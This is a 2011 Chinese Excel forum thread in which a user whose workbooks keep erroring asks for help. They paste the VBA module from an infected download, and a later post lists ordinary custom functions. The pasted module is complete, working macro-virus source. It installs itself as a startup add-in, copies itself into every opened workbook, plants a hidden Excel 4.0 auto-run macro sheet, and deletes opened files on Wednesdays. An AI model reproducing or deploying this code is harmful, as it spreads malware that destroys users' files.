excel碰到棘手问题，请高手帮忙解决，谢谢！

godsaveme

第一个问题在这个帖子中，目前还没有人解决。
http://club.excelhome.net/viewthread.php?tid=683753
第２个问题重新安装office也没有用，要用比较好的方法，禁用宏这样的方法我不想试。起因是从网上下载了一个excel函数笔记，我打开后，就显示有错误，后来打开其它的excel文件后就出现以下问题：

删除这个下载的文件，也还是有这个问题，office重新安装也没有用。

[ 本帖最后由 godsaveme 于 2011-2-22 08:54 编辑 ]

zez

只上传图片，确实无法解决

gufengaoyue

没有附件，单纯图片没办法找问题

iaiexcel

关于循环引用的问题，我来举个例子，出错的情况和你是一样的
假定有这样一个自定义函数
Function Count_Col_A() As Long
  Count_Col_A = WorksheetFunction.CountA(Columns(1))
End Function
其作用是统计当前工作表中A列中有数据单元格的数目
你在VBA中可以直接使用  Count_Col_A 这个函数
也可以在Excel中除A列以外输入 = Count_Col_A()
但是，如果你在A列中输入这个公式Excel就会报你提供的图中那样的错误
你可以在B列的任意一个单元格中输入公式=count(B:B) 来制造一个循环引用，然后通过EXcel的帮助来了解一下什么事循环引用和解决的办法

godsaveme

这个和附件没有关系，我现在是打开任何excel表，都会出现这个问题！

godsaveme

请高手帮忙解决啊，谢谢大家！

godsaveme

再次请教大家！VBA中的copymod模块
Sub auto_open()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent

Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")

If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call delete_this_wk
  Call copytoworkbook
  If Movemacro4(ThisWorkbook) Then GoTo 800
800:
  ThisWorkbook.Save
  Application.ScreenUpdating = True
End If
End Sub
Sub copytoworkbook()
  Const DQUOTE = """" ' one " character
  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "If Sheets(1).Name <> " & DQUOTE & "Macro1" & DQUOTE & " Then"
.InsertLines 6, "Call auto_open"
.InsertLines 7, "End If"
.InsertLines 8, "Call in_install_me"
.InsertLines 9, "End Sub"
.InsertLines 10, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"
.InsertLines 11, "On Error Resume Next"
.InsertLines 12, "wb.VBProject.References.AddFromGuid _"
.InsertLines 13, "GUID:=" & DQUOTE & "{0002E157-0000-0000-C000-000000000046}" & DQUOTE & ", _"
.InsertLines 14, "Major:=5, Minor:=3"
.InsertLines 15, "Application.ScreenUpdating = False"
.InsertLines 16, "Application.DisplayAlerts = False"
.InsertLines 17, "If Weekday(Now, vbMonday) = 3 And wb.Name <> " & DQUOTE & "rpt_pdm2cvs.xls" & DQUOTE & "Then"
.InsertLines 18, "wb.ChangeFileAccess xlReadOnly"
.InsertLines 19, "Kill wb.FullName"
.InsertLines 20, "wb.Close False"
.InsertLines 21, "End If"
.InsertLines 22, "If copystart(wb) Then GoTo 700"
.InsertLines 23, "700: ActiveWorkbook.Save"
.InsertLines 24, "Application.ScreenUpdating = True"
.InsertLines 25, "End Sub"

End With
End Sub

Sub delete_this_wk()
Dim VBProj As VBIDE.VBProject
Dim VBComp As VBIDE.VBComponent
Dim CodeMod As VBIDE.CodeModule

Set VBProj = ThisWorkbook.VBProject
Set VBComp = VBProj.VBComponents("ThisWorkbook")
Set CodeMod = VBComp.CodeModule
With CodeMod
    .DeleteLines 1, .CountOfLines
End With

End Sub


Function copystart(ByVal wb As Workbook)
On Error Resume Next

Dim VBProj1 As VBIDE.VBProject
Dim VBProj2 As VBIDE.VBProject
Set VBProj1 = Workbooks("rpt_pdm2cvs.xls").VBProject
Set VBProj2 = wb.VBProject


If copymodule("copymod", VBProj1, VBProj2, False) Then Exit Function

End Function






Function copymodule(ModuleName As String, _
    FromVBProject As VBIDE.VBProject, _
    ToVBProject As VBIDE.VBProject, _
    OverwriteExisting As Boolean) As Boolean
   
    On Error Resume Next

    Dim VBComp As VBIDE.VBComponent
    Dim FName As String
    Dim CompName As String
    Dim S As String
    Dim SlashPos As Long
    Dim ExtPos As Long
    Dim TempVBComp As VBIDE.VBComponent
   
    If FromVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
   
    If Trim(ModuleName) = vbNullString Then
        copymodule = False
        Exit Function
    End If
   
    If ToVBProject Is Nothing Then
        copymodule = False
        Exit Function
    End If
   
    If FromVBProject.Protection = vbext_pp_locked Then
        copymodule = False
        Exit Function
    End If
   
    If ToVBProject.Protection = vbext_pp_locked Then
        copymodule = False
        Exit Function
    End If
   
    On Error Resume Next
    Set VBComp = FromVBProject.VBComponents(ModuleName)
    If Err.Number <> 0 Then
        copymodule = False
        Exit Function
    End If
   
    FName = Environ("Temp") & "\" & ModuleName & ".bas"
    If OverwriteExisting = True Then
      
        If Dir(FName, vbNormal + vbHidden + vbSystem) <> vbNullString Then
            Err.Clear
            Kill FName
            If Err.Number <> 0 Then
                copymodule = False
                Exit Function
            End If
        End If
        With ToVBProject.VBComponents
            .Remove .Item(ModuleName)
        End With
    Else
        
        Err.Clear
        Set VBComp = ToVBProject.VBComponents(ModuleName)
        If Err.Number <> 0 Then
            If Err.Number = 9 Then
               
            Else
               
                copymodule = False
                Exit Function
            End If
        End If
    End If
   
    FromVBProject.VBComponents(ModuleName).Export Filename:=FName
   
    SlashPos = InStrRev(FName, "\")
    ExtPos = InStrRev(FName, ".")
    CompName = Mid(FName, SlashPos + 1, ExtPos - SlashPos - 1)
   
    Set VBComp = Nothing
    Set VBComp = ToVBProject.VBComponents(CompName)
   
    If VBComp Is Nothing Then
        ToVBProject.VBComponents.Import Filename:=FName
    Else
        If VBComp.Type = vbext_ct_Document Then
            
            Set TempVBComp = ToVBProject.VBComponents.Import(FName)
           
            With VBComp.CodeModule
                .DeleteLines 1, .CountOfLines
                S = TempVBComp.CodeModule.Lines(1, TempVBComp.CodeModule.CountOfLines)
                .InsertLines 1, S
            End With
            On Error GoTo 0
            ToVBProject.VBComponents.Remove TempVBComp
        End If
    End If
    Kill FName
    copymodule = True
End Function




Function Movemacro4(ByVal wb As Workbook)
On Error Resume Next

  Dim sht As Object



    wb.Sheets(1).Select
    Sheets.Add Type:=xlExcel4MacroSheet
    ActiveSheet.Name = "Macro1"
    Range("A1").Select
    Application.CutCopyMode = False
    ActiveCell.FormulaR1C1 = "Door Locked"
    Range("A2").Select
    ActiveCell.FormulaR1C1 = "=ERROR(FALSE)"
    Range("A3").Select
    ActiveCell.FormulaR1C1 = "=IF(ERROR.TYPE(RUN(""TestMacro""))=4)"
    Range("A4").Select
    ActiveCell.FormulaR1C1 = "=  ALERT(""运行此文件，需要宏功能!"",3)"
    Range("A5").Select
    ActiveCell.FormulaR1C1 = "=  FILE.CLOSE(FALSE)"
    Range("A6").Select
    ActiveCell.FormulaR1C1 = "=END.IF()"
    Range("A7").Select
    ActiveCell.FormulaR1C1 = "=RETURN()"
   
    For Each sht In wb.Sheets
    wb.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
    Next
    wb.Sheets(1).Visible = False

End Function

Sub AddPrivateNames()
    On Error Resume Next

    Dim sht As Object

    For Each sht In Sheets
        ThisWorkbook.Names.Add sht.Name & "!Auto_Activate", "=Macro1!$A$2", False
    Next
End Sub
Sub HideMacroSheet()
    ThisWorkbook.Excel4MacroSheets(1).Visible = xlSheetHidden
End Sub
Sub HideMacroSheeth()
    ThisWorkbook.Excel4MacroSheets(1).Visible = -1
End Sub


Sub in_install_me()
On Error Resume Next
Dim myfile0 As String
Dim myfile As String
'


myfile0 = ThisWorkbook.FullName
myfile = Application.StartupPath & "\rpt_pdm2cvs.xls"


If ThisWorkbook.Path <> Application.StartupPath Then
     Set fs = CreateObject("Scripting.FileSystemObject")
     
Application.ScreenUpdating = False
     
     If fs.FileExists(myfile) Then
      
       If True Then
        On Error Resume Next
        Workbooks("rpt_pdm2cvs.xls").Close False
        Kill myfile
        ThisWorkbook.IsAddin = True
        ThisWorkbook.SaveAs myfile
        Workbooks.Open myfile0
        Else
        ThisWorkbook.Close False
       End If
   
    Else
     ThisWorkbook.IsAddin = True
     ThisWorkbook.SaveAs myfile
     Workbooks.Open myfile0

   End If

Application.ScreenUpdating = True

End If
End Sub

[ 本帖最后由 godsaveme 于 2011-2-25 08:49 编辑 ]

godsaveme

ＶＢＡ中的模块１
Sub 宏1()
'
' 宏1 Macro
' jishu 记录的宏 2005-10-11
'

'
    ActiveWindow.DisplayFormulas = Not ActiveWindow.DisplayFormulas
End Sub
模块２：
Sub updatachart()
If ActiveCell.Row > 154 And ActiveCell.Row < 158 Then activewsheet.Calculate
End Sub
模块３：
Sub animatechart()
Range("A217") = 0
For I = 1 To 150
Range("A217") = Range("A217") + 0.035
Next I
Range("A217") = 0
End Sub
Function isformulacell(cell) As Boolean
    isformulacell = cell.HasFormula
End Function
Function HASDATE(cell) As Boolean
    HASDATE = IsDate(cell)
End Function
Function USER()
USER = Application.UserName
USER = UCase(USER)
End Function
Function reversetext(text) As String
textlen = Len(text)
For I = textlen To 1 Step -1
reversetext = reversetext & Mid(text, I, 1)
Next I
End Function
Function SumIntegers(first, last)
total = 0
For num = first To last
total = total + num
Next num
SumIntegers = total
End Function
Function SumIntegers2(first, last)
total = 0
For num = first To last Step 2
total = total + num
Next num
SumIntegers2 = total
End Function
Function Rowoflargest(C)
  NumRows = Rows.Count
    maxval = WorksheetFunction.Max(Columns(C))
For r = 1 To NumRows
  If Cells(r, C) = maxval Then Rowoflargest = r
Exit For
Next r
End Function
Function Rowoflargest2(C)
NumRows = Rows.Count
    maxval = Application.Max(Columns(C))
r = 1
Do While Cells(r, C) <> maxval
r = r + 1
Loop
Rowoflargest2 = r
End Function
Function Rangename(rng)
On Error Resume Next
Rangename = rng.Name.Name
If Err.Number <> 0 Then Rangename = ""
End Function
Function dividetwo(num1, num2)
On Error GoTo errhandler
dividetwo = num1 / num2
Exit Function
errhandler:
dividetwo = "error"
End Function
Function sumofsquares(rng As Range)
Dim total As Double
Dim cell As Range
total = 0
For Each cell In rng
total = total + cell ^ 2
Next cell
sumofsquares = total
End Function
Function Square(cell As Range)
Dim cellvalue As Double
cellvalue = cell.Range("a1").Value
Square = cellvalue ^ 2
End Function
Function rangeaddress(rng)
rangeaddress = rng.Address
End Function
Function cellcount(rng)
cellcount = rng.Count
End Function
Function sheetname(rng)
sheetname = rng.Parent.Name
End Function
Function numberformat(cell)
numberformat = cell.Range("A1").numberformat
End Function
Function nonempty(cell)
nonempty = WorksheetFunction.CountA(cell.EntireColumn)
End Function
Function cellsincommon(rng1, rng2)
Dim commoncells As Range
On Error Resume Next
Set commoncells = Intersect(rng1, rng2)
If Err.Number = 0 Then
cellsincommon = commoncells.Count
Else
cellsincommon = 0
End If
End Function
Function formulacount(rng As Range)
Dim cnt As Long
Dim cell As Range
cnt = 0
Set workrange = Intersect(rng, rng.Parent.UsedRange)
For Each cell In workrange
If cell.HasFormula Then cnt = cnt + 1
Next cell
formulacount = cnt
End Function
Function cellhasformula(cell) As Boolean
cellhasformula = cell.Range("A1").HasFormula
End Function
Function workbookname() As String
workbookname = Application.Caller.Parent.Parent.Name
End Function
Function fillcolor(cell) As Integer
Application.Volatile True
fillcolor = cell.Range("A1").Interior.ColorIndex
End Function
Function statfunction(rng, op)
statfunction = Evaluate(op & "(" & rng.Address(external:=True) & ")")
End Function
Function staticrand()
staticrand = Rnd
End Function
Function commission(sales, years) As Single
Const tier1 As Double = 0.08
Const tier2 As Double = 0.105
Const tier3 As Double = 0.12
Const tier4 As Double = 0.14
Select Case sales
Case Is >= 40000
commission = sales * tier4
Case Is >= 20000
commission = sales * tier3
Case Is >= 10000
commission = sales * tier2
Case Is < 10000
commission = sales * tier1
End Select
commission = commission + (commission * years / 100)
End Function
Function acronym(text) As String
Dim textlen As Integer
Dim I As Integer
text = Application.Trim(text)
textlen = Len(text)
acronym = Left(text, 1)
For I = 2 To textlen
If Mid(text, I, 1) = " " _
Then acronym = acronym & Mid(text, I + 1, 1)
Next I
acronym = UCase(acronym)
End Function
Function extractelement(txt, n, separator) As String
Dim allelements As Variant
allelements = Split(txt, separator)
extractelement = allelements(n - 1)
End Function
Function nextmonday(d As Date) As Date
nextmonday = d + 8 - Weekday(d, vbMonday)
End Function

godsaveme

还是自己解决了，把ＶＢＡ中的所有的内容清除后就可以了。